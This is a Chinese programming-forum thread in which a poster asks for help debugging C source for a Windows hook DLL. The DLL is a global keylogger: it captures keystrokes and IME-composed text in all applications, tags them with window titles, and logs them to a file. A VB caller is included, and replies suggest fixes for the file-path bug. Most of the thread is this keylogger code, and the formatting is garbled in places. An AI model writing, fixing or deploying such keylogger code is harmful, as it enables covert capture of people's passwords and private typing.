#include "windows.h"
#include "stdio.h"HHOOK        g_hHook         = NULL;       
HINSTANCE  g_hHinstance    = NULL;       
HWND  LastHwnd;char title[256];                            
char temptitle[256]="<标题:"; 
char t[2]={0,0};
char *fpath;
void writefile(char *lpstr)
{
FILE* f1;; 
    f1=fopen(fpath,"a+");
    fwrite(fpath,strlen(fpath),1,f1);
    fclose(f1); //FILE* f1;
    //f1=fopen(lpstr,"a+");
    //fwrite(lpstr,strlen(lpstr),1,f1);
    //fclose(f1);
}void writtitle()
{
if(LastHwnd != GetActiveWindow())
{
writefile("\n");
GetWindowText(GetActiveWindow(), title, 256);  //当前窗口标题
LastHwnd = GetActiveWindow();
strcat(temptitle,title);
strcat(temptitle,">\n");
writefile(temptitle);
}
}
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)

    PMSG pmsg = (PMSG)lParam;
    if (nCode == HC_ACTION)
    {
        switch (pmsg->message)
        {
        case WM_IME_COMPOSITION:
            {
if(wParam == 1)
{
HIMC hIMC;
HWND hWnd=pmsg->hwnd;
DWORD dwSize;
char lpstr[20];
if(pmsg->lParam & GCS_RESULTSTR)
{
hIMC = ImmGetContext(hWnd);
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
dwSize += sizeof(WCHAR);

memset(lpstr, 0, 20); ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize); //add by ailink
if(((lpstr[0]>=65)&&(lpstr[0]<=90))||((lpstr[0]>=97)&&(lpstr[0]<=122)))
break;
writtitle();               
writefile(lpstr);          
ImmReleaseContext(hWnd, hIMC);
}
}
            }
            break;
        case WM_CHAR:  //截获发向焦点窗口的键盘消息
            {
if(wParam ==1)
{
char ch,str[10];
ch=(char)(pmsg->wParam);
if (ch>=32 && ch<=126)           //可见字符

writtitle();
t[0]=ch;
writefile(t);
}
if (ch>=8 && ch<=31)
{
switch(ch)
{
case 8:
strcpy(str,"[退格]");
break;
case 9:
strcpy(str,"[TAB]");
break;
case 13:
strcpy(str,"[Enter]");
break;
default:strcpy(str,"n");
}
if (strcmp(str,"n"))
{
writtitle();
writefile(str);
}
}
} }

            break;        }
    }
LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
 
    return(lResult);
}
BOOL  __stdcall InstallHook(LPSTR  p)
{
fpath=p;
writefile(fpath);
    g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
    return TRUE;
}
BOOL UnHook()
{       
    return UnhookWindowsHookEx(g_hHook);
} BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        g_hHinstance=HINSTANCE(hModule);
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        UnHook();
        break;
    }
    return TRUE;
}导出函数
EXPORTS
    InstallHook
    UnHook我想通过VB将路径通过installHook传入dll中,传值能成功,fpath的值等于传进来的路径,但只能在installHook函数里面有效,Hook后,writefile函数里面的fpath值为空,无法创建文本,请高手指教是什么问题?

解决方案 »

  1.   

    WH_GETMESSAGE要用sendmessage要在dllmain就是dll的入口函数这里sendmessage你的消息,这样你hook的进程中的窗体才能截获到你发送的消息你不过是调用了installhook来注入你的dll, 但是你dll中的全局线程钩子中的回调函数并没有被激发
      

  2.   

    我想在writefile函数里面的获取fpath的值,但是为空
      

  3.   

    BOOL __stdcall InstallHook(LPSTR p)
    {
    fpath=p;
    writefile(fpath);

    这里p是临时变量?之后到writefile函数里面时,这个p指向的内容已经不存在
      

  4.   

    不要直接用 fpath=p;这种形式,
    直接用strcpy等类似函数把p指向的内容拷贝到一个全局数据组中
      

  5.   

    我试过,也保存不了呀,到了writefile函数就成空值了
      

  6.   

    char *fpath;  ===> char fpath[MAX_PATH];
    fpath=p;      ===> strcpy(fpath, p);
      

  7.   

    #include "windows.h"
    #include "stdio.h"HHOOK        g_hHook         = NULL;       
    HINSTANCE  g_hHinstance    = NULL;       
    HWND  LastHwnd;char title[256];              
    char *ftemp;                
    char temptitle[256]="<<标题:"; 
    char t[2]={0,0};     
    char filepath;   
    char fpath[255];
    void writefile(char *lpstr)
    {
    FILE* f1;
        f1=fopen("C:\\66.txt","a+");
        fwrite(fpath,strlen(fpath),1,f1);
        fclose(f1);
    }
    void writtitle()
    {
    if(LastHwnd != GetActiveWindow())
    {
    writefile("\n");
    GetWindowText(GetActiveWindow(), title, 256);  //当前窗口标题
    LastHwnd = GetActiveWindow();
    strcat(temptitle,title);
    strcat(temptitle,">>\n");
    writefile(temptitle);
    }
    }
    LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)

        PMSG pmsg = (PMSG)lParam;
        if (nCode == HC_ACTION)
        {
            switch (pmsg->message)
            {
            case WM_IME_COMPOSITION:
                {
    if(wParam == 1)
    {
    HIMC hIMC;
    HWND hWnd=pmsg->hwnd;
    DWORD dwSize;
    char lpstr[20];
    if(pmsg->lParam & GCS_RESULTSTR)
    {
    hIMC = ImmGetContext(hWnd);
    dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
    dwSize += sizeof(WCHAR);

    memset(lpstr, 0, 20); ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize); //add by ailink
    if(((lpstr[0]>=65)&&(lpstr[0]<=90))||((lpstr[0]>=97)&&(lpstr[0]<=122)))
    break; writtitle();               
    writefile(lpstr);          
    ImmReleaseContext(hWnd, hIMC);
    }
    }
                }
                break;
            case WM_CHAR:  //截获发向焦点窗口的键盘消息
                {
    if(wParam ==1)
    {
    char ch,str[10];
    ch=(char)(pmsg->wParam);
    if (ch>=32 && ch<=126)           //可见字符

    writtitle();
    t[0]=ch;
    writefile(t);
    }
    if (ch>=8 && ch<=31)
    {
    switch(ch)
    {
    case 8:
    strcpy(str,"[退格]");
    break;
    case 9:
    strcpy(str,"[TAB]");
    break;
    case 13:
    strcpy(str,"[Enter]");
    break;
    default:strcpy(str,"n");
    }
    if (strcmp(str,"n"))
    {
    writtitle();
    writefile(str);
    }
    }
    } }

                break;        }
        }
    LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
     
        return(lResult);
    }
    BOOL  _stdcall  InstallHook(char *p)
    {
    strcpy(fpath,p);
        g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
        return TRUE;
    }
    BOOL UnHook()
    {       
        return UnhookWindowsHookEx(g_hHook);
    } BOOL APIENTRY DllMain( HANDLE hModule, 
                           DWORD  ul_reason_for_call, 
                           LPVOID lpReserved
                         )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
            g_hHinstance=HINSTANCE(hModule);
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
        case DLL_PROCESS_DETACH:
            UnHook();
            break;
        }
        return TRUE;
    }
    Private Declare Function InstallHook Lib "Hook.dll" (ByVal p As String) As Long
    Private Declare Function UnHook Lib "Hook.dll" () As Long
    Private Sub Command1_Click()
    MsgBox InstallHook("测试内容123")End SubPrivate Sub Command2_Click()
       MsgBox UnHook
    End Sub贴出了代码,到了writefile函数就成空值了,以上两种方法都试了,都不行,请高手指教。